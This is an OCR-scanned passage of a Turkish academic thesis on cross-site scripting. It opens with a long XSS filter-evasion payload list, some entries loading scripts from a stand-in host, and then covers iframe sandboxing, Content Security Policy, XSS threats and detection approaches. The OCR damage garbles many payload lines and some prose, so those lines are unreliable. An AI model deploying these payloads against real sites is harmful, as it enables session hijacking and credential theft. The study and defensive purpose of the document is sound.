FRAME FRAME etiketi kullanma <FRAMESET><FRAME SRC="javascript:alert( YASASIN XSS’);"></FRAMESET>
Cift acik parantez kullanma <IFRAME SRC=http://yasasinxss.com/kotuculkod.html <
IFRAME TFRAME etiketi kullanma <IFRAME SRC="javascript:alert( YASASIN XSS");"></IFRAME>
Olay temelli IFRAME etiketi kullanma <IFRAME SRC=# onmouseover="alert(" YASASIN XSS’)"></I[FRAME>
JavaScript yonergesini kullanma <IMG SRC="javascript:alert( YASASIN XSS’);">
Tirnak isareti ve noktali virgiil kull dan yazma <IMG SRC=javascript:alert(C YASASIN XSS’)>
Biiyiik kiigiik harf duyarsiz yazma <IMG SRC=JaVaScRiPt:alert( YASASIN XSS’)>
HTML varliklarini kullanma <IMG SRC=javascript:alert(&quot; YASASIN XSS&quot;)>
Ust tirnak sasirtmacasi kullanma <IMG SRC="‘javascript:alert("YASASIN, "XSS’")*>
Kusurlu IMG etiketleri kullanma <IMG """><SCRIPT>alert("YASASIN XSS")</SCRIPT>">
fromCharCode fonksiyonunu kullanarak <IMG SRC=javascript:alert(String.fromCharCode(89,65,350,65,83,73,78,32,88,83,83))>
32&;::: n“;‘;{’é“;:;ﬁ;‘;ﬁh;g:’n:l"elen atlatmak icin <IMG SRC=# onmouseover="alert(' YASASIN XSS")">
Bos birakarak varsayilan SRC etiketi kullanma <IMG SRC= onmouseover="alert(" YASASIN XSS”)">
Tamamen atarak varsayilan SRC etiketi kullanma <IMG onmouseover="alert(’ YASASIN XSS")"™>
Hata oldugunda uyari kullanma <IMG SRC=/ onerror="alert(String.fromCharCode(89,65,350,65,83,73,78,32,88,83,83)) "></img>
IMG <img  src=x  onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099
IMG "onerror" ve JavaScript "alert” diizgeleme &#0000114&#0000105&#0000112&#0000116&#0000058 &#0000097 &#0000108&#0000101
Kkullanma &#0000114&#0000116&#0000040&#0000039&#0000089&#0000065&#0000350&#0000065
&#0000083&#0000073&#0000078&#0000032&#0000088 &#0000083 &#0000083&+#0000039
&#0000041">
<IMG SRC=&#106;&HIT;&H#118;&H#IT;&#115;&#99;&H#114;&#105:&H#112;&H#116;&H#58;&H#97T;
Ondalik HTML karakter referanslar1 kullanma &#108;&#101;&#114;&#116;&#40;&#39; &#89; &#65; &#350; &H#05; &#83; &#73; &#78; &#32;&H#88;
&H83.&H#83:&H#39:&H41 ;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114
Devaminda noktali virgiil olmadan ondahk HTML &#0000105&#00001 12&#0000116&#0000058 &#0000097 &#0000108&#0000101&#0000114
karakter referanslar1 kullanma &#0000116&#0000040&#0000039&#0000089&#0000065&#0000350&#0000065&#0000083
&#0000073&#0000078&#0000032&#0000088&#0000083 &#0000083&#0000039&+#0000041>
Devaminda noktali virgiil olmadan onaltlik HTML <IMG  SRC=&#XxOA&#XO1&#XTO&H#XO1 &H#XTI&HXOIKHXT2&H#XOI&H#XTO&H#XTA4&HXIA&#H#XO]
Karakter referanslart kuTlanma SHXOCEHXOSEHXT2&HXTAEHX28E&H#X2T &H#X 59 &Hx4 1 &#x 1 SE&#X 41 &#Hx 53 E&#xAI&H#XAE&#X20
SH#XSB&HXSI&HXSI&#HX2T &H#X29>
Sekme (TAB) karakteri yerlestirme <IMG SRC="jav ascript:alert("YASASIN XSS");">
Diizgelemeli sekme (TAB) karakteri yerlestirme <IMG SRC="jav&#x09;ascript:alert( YASASIN XSS’);">
XSS'i ayirmak icin yeni satir (LF) karakteri <IMG SRC="jav&#x0A;ascript:alert(’ YASASIN XSS");">
yerlestirme
XSS ayirmak igin saur bast (CR) karakteri <IMG SRC="jav&#x0D;ascript:alert YASASIN XSS"):">
yerlestirme
i::;?;cl;gl ten 6nce bosluklar ve meta Karakterler <IMG SRC=" &#14; javascript:alert(’ YASASIN XSS");">
DYNSRC kullanma <IMG DYNSRC="javascript:alert(’ YASASIN XSS")">
LOWSRC kullanma <IMG LOWSRC="javascript:alert(" YASASIN XSS’)">
IMG etiketinde VBscript kodu kullanma <IMG SRC="vbscript:msgbox("YASASIN XSS")">
Liv.es?ri.?l ku}lanma (Sa‘decje Netscape tarayicisinin <IMG SRC="livescript: [kotuculkod]">
eski siiriimlerinde gegerliydi)
lfadeyi parcalamak “iin yorum ekleyerek STYLE 1\ 1y] E="xss:expr/*XSS#/ession(alert( YASASIN XSS"))">
ozelligi kullanma
IMG etiketine gomiilii komutlar kullanma <IMG SRC="http://yasasinxss.com/komut.php?x=kotuculkod">
INPUT INPUT etiketinde IMAGE tipi kullanma <INPUT TYPE="IMAGE" SRC="javascript:alert(' YASASIN XSS’);">
LINK Stylesheet kullanma <LINK REL="stylesheet" HREF="javascript:alert( YASASIN XSS");">
Uzak stylesheet kullanma <LINK REL="stylesheet” HREF="http://yasasinxss.com/kotuculkod.css">
Uzak stylesheet kullanma <META ] . HTTP-EQUIV="Link" Content="<http://yasasinxss.com/kotuculkod.css>;
REL=stylesheet">
META META etiketi kullanma <META HTTP-EQUIV="refresh” CONTENT="0;url=javascript:alert(' YASASIN XSS’);">
META etiketinde Base64 diizgelenmis veri kullanma <META . HTTP-EQUIV="refresh" CONTENT:“Ozurl:data:lexdhlml
base64,PHNjcmlwdD5hbGVydCgnWUHFnkFTSU4gWFNTJyk8L3NjcmlwdD4=">
flave URL parametresi iceren META etiketi kullanma )<(I\S/ISE'{A> HTTP-EQUIV="refresh” CONTENT="0; URL=http://;URL=javascript:alert(' YASASIN
Cerez tahrifatt <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(" YASASIN
XSS’)</SCRIPT>">
@?ﬁiﬁ}lﬁ?ﬁﬁ?ﬁé ?:‘)'2;55“)“““‘”“ X8s <SCRIPT/XSS SRC="http://yasasinxss.com/kotuculkod.js"></SCRIPT>
Ikincil agik parantez <<SCRIPT>alert(" YASASIN XSS");//<</SCRIPT>
SCRIPT Kapanmayan SCRIPT etiketi <SCRIPT SRC=http://yasasinxss.com/kotuculkod.js?<B >
SCRIPT etiketinde protokol ¢ziimleme <SCRIPT SRC=//yasasinxss.com/kotuculkod/.j>
Yaris1 agik HTML/JavaScript <IMG SRC="javascript:alert( YASASIN XSS")"
HTML tirnak isareti kapsiillemesi kullanma <SCRIPT a=">" SRC="httx://yasasinxss.com/kotuculkod.js"></SCRIPT>
List-style-image kullanma :/Sb'lr'>YLE>li {list-style-image: url("javascript:alert(’ YASASIN XSS”)");}</STYLE><UL><LI>XSS
Uzak stylesheet kullanma <STYLE>@importhttp://yasasinxss.com/kotuculkod.css’;</STYLE>
Uzak stylesheet kullanma <STYLE>BODY {-moz-binding:url("http://yasasinxss.com/xssmoz.xml#xss") } </STYLE>
STYLE Ayrik/Bozuk JavaScript iceren STYLE etiketleri
kullanma <STYLE>@im\port’\ja\vasc\ript:alert("YASASIN XSS")";</STYLE>
STYLE etiketi (Sadece Netscape tarayicisinin eski gy g pypE="textjjavascript”>alert YASASIN XSS"):</STYLE>
siiriimlerinde gecerliydi)
STYLE etiketinde background-image kullanma éi"FAYsléli;;(ssféllrikgroundfunage.url( 'javascript:alert(' YASASIN XSS")"):}</STYLE><A
STYLE etiketinde background kullanma <STYLE type="text/css">BODY {background:url("javascript:alert( YASASIN XSS")") }</STYLE>
TABLE TABLE etiketi kullanma <TABLE BACKGROUND="java t:alert(" YASASIN XSS°)">
TD etiketi kullanma <TABLE><TD BACKGROUND="javascript:alert(’ YASASIN XSS")">
TITLE TITLE etiketini bagl dan bitirme </TITLE><SCRIPT>alert("YASASIN XSS");</SCRIPT>
OBJECT OBIJECT etiketi kullanma <OBJECT TYPE="text/x-scriptlet" DATA="http://yasasinxss.com/scriptlet.html"></OBJECT>
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Tablo 2.5: Olay Isleyici Tiirleri

Olay Simifi Olay Isleyici Adi
onafterprint, onbeforeprint, onbeforeunload, onerror, onhashchange, onload,
Pencere Olaylar: onmessage, onoffline, ononline, onpagehide, onpageshow, onpopstate, onresize,

onstorage, onunload

onblur, onchange, oncontextmenu, onfocus, oninput, oninvalid, onreset,
onsearch, onselect, onsubmit

Klavye Olaylar1 onkeydown, onkeypress, onkeyup

onclick, ondbclick, onmousedown, onmousemove, onmouseout, ONMouSeoVer,
onmouseup, onmousewheel, onwheel

ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop,

Form Olaylar1

Fare Olaylar

Siiriikle-Birak Olaylar:

onscroll
Pano Olaylan oncopy, oncut, onpaste

onabort, oncanplay, oncanplaythrough, oncuechange, ondurationchange,
Medya Olaylari onemptied, onended, onerror, onloadeddata,, onloadedmetadata, onloadstart,

onpause, onplay, onplaying, onprogess, onratechange, onseeked, onseeking,
onstalled, onsuspend, ontimeupdate, onvolumechange, onwaiting
Cesitli Olaylar onshow, ontoggle

1. Form gonderimleri engellenebilir.

2. Betik calistirilmasi engellenebilir.

3. API’ler* devre dis1 birakilabilir.

4. IFRAME icerigi benzersiz bir kaynaktan geliyormus gibi davranir.

5. Eklentilerin EMBED, OBJECT, APPLET gibi etiketlerle kullanilmasi reddedilir.
6. IFRAME iceriginin, iist diizey tarama igeriginde gezinmesi Onlenir.

7. Bir videonun otomatik olarak oynatilmasi gibi otomatik olarak tetiklenen ozellikler

engellenir.

Kum havuzu 6zelliginin alabilecegi degerler, Tablo 2.6’da verilmistir. Ozellik degeri bos
birakilirsa, varsayilan olarak tiim kisitlamalar koyulur (Mozilla Developer, 2019). Ayrica,
eger saldirgan, kum havuzu IFRAME’i disinda bir XSS saldir1 vektorii baglatirsa, kum

havuzu etkisi kavraminin asla tam olarak kullanilmayacagina dikkat etmek 6nemlidir.

2.2.2.3. Disari sizma kabiliyeti

Bir Web uygulamasin1 XSS saldirilarina kars1 tamamen giivenli hale getirmek icin, savunma
ekibinin birka¢ giivenlik katmani olusturmasi gerekir. Birka¢ katmana sahip olmanin
ardindaki ana fikir, bir katman XSS saldirisin1 tespit edemese bile, bagka bir giivenlik

katmaninin saldirtyr tanimlamada basarili olacagidir. Cilginca biiyliyen Web diinyasini

4 Application Programming Interface - Uygulama Programlama Arayiizii
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Tablo 2.6: Kum havuzu 6znitelikleri

Oznitelik (<iframe sandbox=""deger") Tanim

herhangi bir deger kullanilmadiginda Tiim olas1 kisitlamalar1 uygular.

Indirme islemlerinin kullanicidan gelen bir
hareket olmadan gerceklesmesine izin verir.
Kaynagin form gondermesine izin verir.

allow-downloads-without-user-activation

allow-forms Bu anahtar kelime kullanilmazsa, form
gonderimi engellenir.

allow-modals Icerigin tipik pencere agmasina izin verir.
GOmiilii tarama igeriginin ekran yOniinii

allow-orientation-lock kilitleme o6zelligini devre digt birakmasina
izin verir

Kaynagin  isaretci  kilitleme  API’sini
kullanmasina izin verir.

Acilir pencerelere izin verir. Bu anahtar
allow-popups kelime kullanilmazsa, acilir pencere sessizce
acilmaz.

Kum havuzuna alinan belgenin yeni penceler
acmasina izin verilir.

IFRAME igeriginin sunum oturumunu
baglatmasina izin verir.

Bu belirte¢ kullanilmazsa, kaynagin her

allow-pointer-lock

allow-popups-to-escape-sandbox

allow-presentation

allow-same-origin zaman ayn1 koken politikasini bagarisiz kilan
0zel bir kokene sahip oldugu kabul edilir.
allow-scripts Betigin yiiriitiilmesine izin verir.
Kaynagin, ebeveynin Depolama Erigimi
allow-storage-access-by-user-activation APT’si ile depolama yeteneklerine erismesine
izin verir.

IFRAME’deki icerigin en {ist diizey tarama
iceriginde gezinmesine izin verir
Kaynagin, yalmizca bir kullanici hareketi
allow-top-navigation-by-user-activation tarafindan baslatilmigsa en {ist diizey tarama
iceriginde gezinmesine izin verir.

allow-top-navigation

evcillestirmek icin Mozilla’daki giivenlik arastirmacilari olaganiistii bir igerik kisitlamasi
fikri ortaya attilar. Icerik Giivenligi Politikas1 (CSP: Content Security Policy), icerik
kisitlamalarini uygulamak icin kullanilan ve Web uygulamalari i¢in giivenlik katmanlarindan
biri olarak hizmet veren bir programdir (Stamm, Sterne ve Markham, 2010). i¢erik Giivenligi
Politikalari, Web uygulama gelistiricilerinin ve yoneticilerin Web siteleri ile sz konusu

sitedeki icerikler arasindaki etkilesimin kontroliinii biiyiik 6l¢iide ellerinde tutmalarini saglar.

Icerik Giivenligi Politikalar1 kavrami, hem Web uygulamasi gelistiricilerinden hem de

desteklenen Web tarayicilarindan bir miktar kisitlama getirir. Web uygulamasi gelistiricileri,



64

normal sartlar altinda uygulamalarinin ne sekilde davranmasi gerektigini tanimlamalidir.
Bagka bir deyisle, uygulamanin beklenen davranigi, gelistiriciler tarafindan ortaya

konmalidir.

Web tarayicilarindan eklenen bir destekle, uygulamanin davranisina uygun kisitlamalar
getirilebilir. Beklenen davranigtan gozlemlenen herhangi bir sapma, hi¢bir sorguya ihtiyag
olmaksizin ve siipheye mahal vermeksizin engellenmelidir. Bu tiir kisitlayicit ozellikler,
giivenilmeyen {ciincii taraf verilerine sinirlama getirilmesine yardimei olur. Daha 6zel
olarak Icerik Giivenligi Politikalari, uygulama gelistiricilerin ¢ok onemli iki seyi elde

edebileceklerinden/bilebileceklerinden yola ¢ikarak bir plan ortaya koyar;

1. Gelistirilen web uygulama sitelerine-servislerine yiiklenebilecek igerik tiiriiniin ne

oldugu/olabilecegi

2. Eger tiim igerik yiiklenmigse bunun nereden geldigi/eklendigi

Bu iki onemli nokta, saldirganin bir XSS saldiris1 yapmak iizere oldugu bir zamanda,
ticiincii taraf bir icerigi Web uygulamasina aktaramayacaginin yani sira giivenilmeyen
tictincii taraf URI’larindan da herhangi bir talepte bulunamayacagini garanti eder. Bir XSS
saldirisinin ortaya ¢ikma olasilifini en aza indirmek icin, sadece olusturulacak olan beyaz
listede yer alan betiklerin/komutlarin yiiriitiilmesine izin verilir. Icerik Giivenligi Politikas,
Firefox Web tarayicisinda basariyla uygulanmustir. Icerik Giivenligi Politikas1 (CSP: Content
Security Policy) ayrica Mozilla tarafindan eklenti olarak dagitilmaktadir. Asagida bir Icerik
Giivenligi Politikasinin nasil etkinlestirildigini ve icerigini agiklayan birka¢ nemli nokta yer

almaktadir (Stamm, Sterne ve Markham, 2010);

1. Icerik Giivenligi Politikasinin Etkinlestirilmesi: icerik Giivenligi Politikasi, HTTP
yanmitinin “X-Content-Security-Policy” HTTP basliginda belirtilir. Politika daha sonra

istemcinin tarayicisi tarafindan etkinlestirilir.

2. Icerik Giivenligi Politikasinin Icerigi: Politikanin igerigi ya HTTP baghginda ya da
metin dosya biciminde belirtilir. Korunan belge ve politikay1 iceren dosya ayn1 kokene

sahip olmalidir.

e Temel Kisitlamalar: XSS saldirilarina karst savunma yapmak icin, Igerik

Giivenligi Politikasinin tarayict tarafindan etkinlestirilmesi iizerine, birkag
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ozellik devre disi birakilir. Secenekler yoOnergesi, bu devre dis1 oOzellikleri

yeniden etkinlestirmek icin kullanilabilir.

Kural 1: Satir i¢i komut dosyalarumin yiiriitiilmesini durdur. Web uygulama
kodu ve giivenilmeyen bir kullanici tarafindan saglanan giivenilmeyen igerik
birbirinden ayrilmalidir. Bu ayrim, Igerik Giivenligi Politikalar1 tarafindan
uygulanir. Daha 6nce, tarayicinin bu ikisi arasindaki farki anlama yetersizligi,
XSS saldirilarinin basarili bir sekilde yiiriitilmesine yol agmistir. Bu ayrim
nedeniyle, saldirganin giivenilmeyen ve nizami igerige enjekte edilen kotiiciil
icerigi tarayicida yiiriitilemez. Tablo 2.7, bu kuralin devre dis1 biraktigi
ozellikleri gostermektedir. Ilk siitun, devre dis1 birakilan 6zelligi, ikinci siitun
ise devre dis1 birakilan 6zelligin islevselliginin hala izin verilen diger 6zellikler

tarafindan nasil kullanilabilecegini gostermektedir.

Kural 2: Dizelerden kod olusturulmamalidir. eval() gibi fonksiyonlar, kullaniciya
ozel giivenilmeyen verileri islerken ¢ok énemli bir rol oynar. eval() fonksiyonu
kullanilarak, dizeler koda doniistiiriilebilir. Kétii niyetli eval() fonksiyonunun
kullanim teknigi, eval() fonksiyonundan olusturulan kodun bir JavaScript
programi i¢inde izlenmesini olduk¢a zor hale getirdiginden, saldirgan igin
oldukgca kullanighdir. Bu nedenle, Icerik Giivenligi Politikalar1 eval() fonksiyonu
kullanimin1 tamamen engellemektedir. SetTimeout(), setInterval() ve Function()
fonksiyonlari, eval() fonksiyonuna benzer sekilde davrandiklarindan Igerik

Giivenligi Politikasi tarafindan engellenir.

Politika dili: Mozilla arastirma ekibinin Icerik Giivenligi Politikas1 kavramini
tasarlarken akillarinda iki amagc vardi. Ik once, bir uygulamaya yiiklenebilecek
icerik tiiriinii, ikincisi ise icerigin yiiklendigi yeri kisitlaymn. Ik hedefe
yukarida tartisildigr gibi Temel Kisitlamalar uygulanarak ulasilir. Ikinci hedefe
ise tarayicinin davranisini kisitlayan yonergeleri uygulayarak ulasilir. Farkli

yonergeler Tablo 2.8 de gosterildigi gibidir.

X-Content-Security-Policy: allow ‘self’ veya X-Content-Security-Policy: allow ‘self’;

img-src *

b

; object-src guvenlimedyadosyalari.com guvenliicerik.com *.guvenli.com;
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Tablo 2.7: Icerik Giivenligi Politikas1 Ozellikleri

Engellenen Ozellik Izin verilen Ozellik
Bir Web sayfasinin <script> Metin icerigini disaridan yiiklenen dosyalara tasima ve
etiketindeki metin igerigi bunlara referans verme

Once JavaScript fonksiyonlarina doniistiirme ve ardindan
olay igsleyicileri olarak kullanma

HTML etiketlerindeki olay Ogeye referans vermek icin JavaScript’i ve ardindan
isleyicileri asagidakilerden birini kullanma;

a) element.onclick=OrnekFonksiyon() veya

b) element.addEventListener("event",OrnekFonksiyon);

javascript: URI’lar1

script-src guvenlisite.com o6rnek politika kullamimlar1 olarak verilebilir. Politika, kaynak
resim, betik veya bagka herhangi bir kaynagin korunan kaynaginki ile ayn1 kokene sahip
olmasim ister. Aksi takdirde, istekler goz ardi edilir. Verilen ikinci Ornek, goriintiilerin
herhangi bir yerden olmasini zorunlu kilan bagka bir politika 6rnegini gostermektedir; medya
iceri8i bir dizi giivenilir medya saglayicisindan alinmalidir. Betikler yalnizca sterilize edilmis

JavaScript barindirdig bilinen bir sunucudan gelmelidir.

Ayrica Icerik Giivenligi Politikas1 kavrami gelistirilmeye devam edilmekte olup heniiz taslak
durumda olan 3. siiriime, desteklenen yonergelere ve degisikliklere ait detay bilgilere (W3C

CSP3, 2019)’dan ulagilabilir.

2.2.3. XSS Saldirilarmmin Tehditleri

Saldirganin XSS ile ¢ok c¢esitli tehditler olusturmasi miimkiindiir. Siteler aras1 betik
calistirma (XSS) zafiyeti istismar edildiginde problem haline gelen giivenlik risklerinden

bazilar1 sunlardir:

Giivenilmeyen Komut Dosyalari: Kullanicilar, web’in dogas1 ve gelisimi geregi dinamik
icerik istediklerinden, kendilerine saglanan komut dosyalarini icerigine dikkat etmeden
yiiriitmeye kolaylikla ikna edilebilir. Bu senaryoda, istemciyi bir sekilde tehlikeye atmak

amaciyla kotiiciil icerik saldirgan tarafindan saglanmustir.

Oturum Ele Gegirme: Bu senaryoda, bir saldirgan kullanicinin oturum cerezleri dogal

stiresini doldurmadan mevcut bir oturumu devralir ve kendi amaglari i¢in kullanir.

Yonlendirme: Bir saldirgan, kullanicinin oturumunu saldirganin kontrolii altindaki kotiiciil

amagcl bir sunucuya yonlendirir.
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Tablo 2.8: Icerik Giivenligi Politikas1 Yonergeleri (W3C CSP2, 2019)

Yonerge Ad1 Yonerge Tiirii Aciklama

. N . Belge temel URL’ini (<base>) belirtmek igin
base-uri Belge Yonergeleri kullanilabilecek URL leri kisitlar.
child-sre Getirme Yonergeleri Ic ice gecmis tarama baglamlarinin ve worker

yiiriitme baglamlarinin olusturulmasini yonetir

connect-src

Getirme Yonergeleri

Korunan kaynagin hangi URL’lerin  script
araylizlerini kullanarak yiikleyebilecegini kisitlar.

default-src

Getirme Y Onergeleri

Bir dizi yonerge icin varsayilan bir kaynak listesi
belirler.

font-src

Getirme YOnergeleri

Korunan kaynagin fontlar1 nereden

yiikleyebilecegini kisitlar.

form-action

Gezinme Yonergeleri

HTML <form> 0gelerinin eylemi olarak hangi
URL’lerin kullanilabilecegini kisitlar.

frame-ancestors

Gezinme YOnergeleri

Kaynagin FRAME, IFRAME, OBJECT, EMBED,
APPLET ogesi veya esdeger fonksiyona sahip
HTML dis1 kaynaklar kullamlarak, kullanict ajam
(user-agent) tarafindan sayfaya gomiilmesine izin
verilip verilmeyecegini belirtir.

frame-src yonergesi kaldirilmigtir. Yuvalanmis (i¢
ice gegmis) tarama baglamlarini yonetmek isteyen

frame-src Getirme Y Onergeleri . . . .
& kullanicilar bunun yerine child-src yonergesini
kullanmalidir.
. . . Korunan kaynagin goriintiileri yiikleyebilecegi
img-src Getirme Y Onergeleri . ynagin g yaxley £
yerleri sinirlar.
. . . . Korunan kaynagin video, ses ve ilgili metin izlerini
media-src Getirme Y Onergeleri R yHagtn e g
nereden yiikleyebilecegini kisitlar.
. . N . Korunan kaynagin eklentileri nereden
object-src Getirme Y 6nergeleri ynag

yiikleyebilecegini kisitlar.

plugin-types

Belge Yonergeleri

Gomiilii olabilecek kaynak tiirlerini sinirlayarak
korumali kaynak tarafindan cagrilabilecek eklenti
kiimesini kisitlar.

Kullanici ajaninin politika ihlaliyle ilgili raporlar

report-uri Raporlama Yo6nergeleri gonderdigi bir URL’yi belirtir.
N . Kullanic1 ajaninin korunan kaynaga uyguladig: bir
sandbox Belge Yonergeleri HTML kum havuzu politikasini belirtir.
Korunan kaynagin hangi betikleri ¢alistirabilecegini
seripi-sre Getirme Yonereeleri kisitlar. Yonerge ayrica, kullanici ajaninin betik
P g calistirmasina neden olabilecek XSLT stil sayfalari
gibi diger kaynaklar1 da kontrol eder.
style-src Getirme Yonergeleri Kullanicinin  korunan kaynak i¢in hangi stilleri

uygulayabilecegini kisitlar

Diger: Diger potansiyel senaryolar, kullaniciy1 saldirgan tarafindan saglanan bir URL’yi
tiklamaya veya URL’ye erismeye ikna etmek icin sosyal miihendislik yontemlerini

birlestirmeyi icerir. Kurban, kotii niyetli veya bilinmeyen bir URL'ye erismeye ikna
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olduktan sonra, bir komut dosyasi ¢aligtirilip veya zararl bir yazilim indirilip kullanicinin

tarayicisinda calistirilabilir. Bir komut dosyasi kullanicinin sistemine bir baglanti yoluyla

indirildikten sonra, kullanicinin o anda calistig1 ayricalik/yetki diizeyinde caligir. Kullanicilar

genel olarak ihtiya¢ duymasalar dahi sistemin sagladigi en yiiksek yetki seviyesinde ¢calisma

egilimindedirler. Bu durumda, dogru kosullar g6z dniine alindiginda sistemde hemen hemen

her seyin calistirilabilecegi ve yer seyin yapilabilecegi diisiiniiliirse, sonug¢ olarak zafiyetin

oliimciil/en kritik seviyede degerlendirilmesi yanlis olmaz.

Acikca goriilebilecegi iizere XSS ciddi uygulama riskleri icermektedir:

.

il.

1il.

1v.

Bir web sitesine veya uygulamasina, kotiiciil amagh komut dosyasi enjekte edilerek
sisteme girig bilgileri ele gecirilebilecegi gibi banka hesabi, kredi kart1 bilgisi gibi

kisisel finansal verilere erisim de miimkiin olabilir.

Bu saldir ile saldirgan, kullanicinin is ile ilgili detay verilerine erisebilir (insaat
detaylari, proje teklif detaylari, isletme sirlar1 gibi). Web sayfasi igerigine yanlis
bilgiler ilave ederek, kullanicilar1 gercek icerigi gordiiklerinde yapmayacaklari
eylemlere veya kararlar almaya yonlendirebilecek mesajlar eklemek, 6rnegin, cevrim
ici bir borsada kullanicilara “Hisse senedi fiyat1 bugiin harika, simdi elindekileri

satmalisin” gibi telkinlerde bulunan bir mesaj gostermek gibi.

Saldirgan, XSS vasitasiyla kimlik avi saldiris1 gergeklestirebilir. Saldirgan bu amacla

siteye sahte girig formu ekleyebilir (oltalama: phishing).

Saldirgan, kullaniciy: kétiiciil bir hedefe (URL, Web sunucu) yonlendirmek i¢cin mesru
sayfanin igerisine kotii amagli JavaScript kodu ekleyebilir. Bir XSS saldiris1 bazen
daha da biiyiik bir saldirin tetikleyicisidir. Saldirgan, istemci makinesine casus
yazilim ve Truva at1 gibi kotii amach yazilimlar yiiklemek i¢in komutlar baslatmak
gibi, tarayicida bulunan ve kurbanin bilgisayarinin tam veya kismi kontroliinii ele
gecirmelerini saglayan giivenlik agiklarini kullanmak icin istemci tarayicisim kotiiciil

bir web sitesine yonlendirebilir.

Saldirgan, XSS saldiris1 ile kurbanin tarayicisinda acilir pencere seli (Pop-Up
Flooding) saldiris1 gergeklestirebilir. Kotii amagli JavaScript kodunun, kullanicinin

web sitesine erisemez ve c¢alisamaz hale gelmesine, ayrica tarayicinin/kullanici
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sisteminin tamamen ¢cokmesine neden olacak bicimde bir DoS (hizmet reddi) saldirisi

gerceklestirmesi miimkiin olabilir.

vi. Web tahrifati; web sayfasi icerigine farkli bagliklar eklemek, arka plan rengini veya
goriintlisiinii kaldirmak veya degistirmek, nesnelerin boyutunu degistirmek, giris
kutular1 gibi nesneleri degistirmek veya kaldirmak ve digerleri gibi bir web sitesinin

saldirgan tarafindan ele gecirildigi algisim olusturacak sekilde icerigini degistirmek.

2.2.4. XSS Saldirilarinin Etkileri

XSS giivenlik acigmin etkisi, saldirganin ele gecirdigi bilgi tiiriine ve erisim diizeyine
bagh olarak degisebilir. Basarili bir saldirinin 6zii, kullaniciy: rahatsiz etmekten (bir uyari
kutusu agmak gibi), kullanicilarin sisteme giris kimlik bilgilerini ele gecirmeye kadar
degisebilir. XSS saldirisinin tehditlerinden bazilari, bir kullanic1 oturumunu ele gegirme
veya yetkisiz erisim saglama, cerezleri ¢calma, prestij kaybi icin web sayfasina sozciikler,
goriintiiler ekleme veya iiretme, ne yaptiginiza dair casusluk yapma ve XSS kurtcuklari gibi
cesitlendirilebilir. Genellikle, XSS giivenlik a¢181, kullaniciy1 giivenilir web sitelerinden kotii
amacli web sitelerine yonlendirme, e-ticaret sahtekarliklari, kotii amacli yazilim yayma vb.
gibi biiyiik bir saldir1 diizeninin parcasi olarak kullanilir. XSS saldirisinin birincil hedefi
istemcidir. Istemci, web uygulamasi tarafindan saglanan hizmete veya betigi ¢alistiran bir
tarayiciya giivenen herhangi bir kullanici olabilir. Ancak, ikincil hedef, web uygulamasin
caligtiran sirketlerdir. Bagarili bir XSS saldirisi, sirketi finansal olarak etkileyebilir, sirketin
kredibilitesini bozabilir, hassas ve gizli bilgiler ele gecirildigi ve kotiiye kullanildigr icin

kullanicilarin sirkete olan giivenini zedeleyebilir.

2.2.5. XSS Tespit Yontemleri

Literatiirde mevcut olan XSS algilama yaklasimlar1 genis olciide; (a) Istemci tarafi algilama
yaklagimlar1, (b) Sunucu tarafi algilama yaklasimlari ve (c) Istemci-Sunucu algilama
yaklagimlar1 olarak siniflandirilabilir. Istemci tarafindaki XSS saldirilarini tespit etmek igin,
algilama Onlemleri istemci tarayicilarina filtre seklinde gomiilerek veya tanimli kurallara
sahip vekil (proxy) sunuculari kullanilarak almabilir. Ote yandan, sunucu tarafi XSS
algilama mekanizmalari, uygulamanin sunucularina dahil edilebilir veya ters vekil (proxy)

sunucu ile gerceklenebilir. Savunma mekanizmasini her iki Istemci-Sunucu tarafinda da
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kullanan bir algilama yaklasimi da popiilerlik kazanmistir. Makine Ogrenimi kullamilarak
XSS saldirilarinin tespit edilmesi yonteminin de kullanimi artmakta olan bir yaklasim
oldugunu belirtmek 6nemlidir. Istemci tarafi algilama yaklagimlar1 ve Sunucu tarafi algilama
yaklagimlari ayrica Statik Analizi, Dinamik Analizi veya her ikisinin bir kombinasyonu olan
Hibrit Analizi temel alabilir. Asagida XSS algilama teknikleri ve bu tekniklerin saldirt tespit
ve Onleme ile birlikte bir uygulamadaki giivenlik agiklarini tespit etmeye nasil yardimci
oldugu ayrintili bir sekilde ele alinmaya calisilmistir. Sekil 2.32, XSS zafiyeti saptama
yaklagimlarinin siiflandirmasini gostermektedir. Ilave olarak, Sekil 2.33, 2002-2019 yillart
arasinda XSS algilama kategorilerin her birinde yayimlanan makale sayisinin yaklagik

istatistigini gostermektedir.

[ XSS Saldiri Tespit Yo leri ]

Y A 4 v
—[ istemci Tarafi Tespit Yaklagimi ] —[ Sunucu Tarafi Tespit Yaklagim ] [istunci-&unucu Tarafi Tespit Yaklagimi

R =y
o | T
o o |

Sekil 2.32: XSS Tespit Yaklagimlarinin Siniflandirilmasi

XSS tespit mekanizmalarina iliskin Onerilen siniflandirmanin en temel hali, her bir
mekanizmanin uygulandig1 yere gore yapilabilir. XSS saldiris1 icin savunma teknigi, Istemci
tarafinda, Sunucu tarafinda veya Istemci-Sunucu tarafinda olabilir. Yine, her bir teknigin
isleyisi, kullandiklar1 analiz mekanizmasina baglidir. Bu nedenle, her uygulama yerinin
altindaki algilama mekanizmasi yine Statik Analiz, Dinamik Analiz ve Hibrit Analiz olarak
alt kategorilere ayrilir. Dolayisiyla, aym analiz teknigini uygulayan benzer mekanizmalar
spesifik uygulama sahasi altinda buna gore siniflandirilir. Bu siniflandirma yaklasimi disinda
hedef alinan XSS zafiyet tiirlinii veya analiz tiiriinii (statik, dinamik veya hibrit) temel alan

farkli siniflandirma yaklagimlari sergilemek de miimkiindiir.



71

Incelenen Makale / Bildiri Orani

17%

istemci tarafi algilama

36% yaklagimlar

Sunucu taraf alglama
yaklagimlar

Istemci-Sunucu alglama
yaklagimlan

47%

Sekil 2.33: 2002’den 2019’a kadar yayimlanmis ve incelenmis olan bildirilerin/makalelerin
XSS Yaklagimlarinin Dagilimi

2.2.5.1. Istemci Tarafi Tespit Yaklasimlar:

Daha once de belirtildigi gibi, istemci tarafi tespit yaklasimlari i) Statik Analiz, ii) Dinamik
Analiz veya iii) Hibrit Analiz yontemlerini kullanabilir. Savunma mekanizmasinin istemci
tarafina yerlestirilmesi tarayicida bir filtre/eklenti seklinde veya bir vekil (proxy) sunucusu

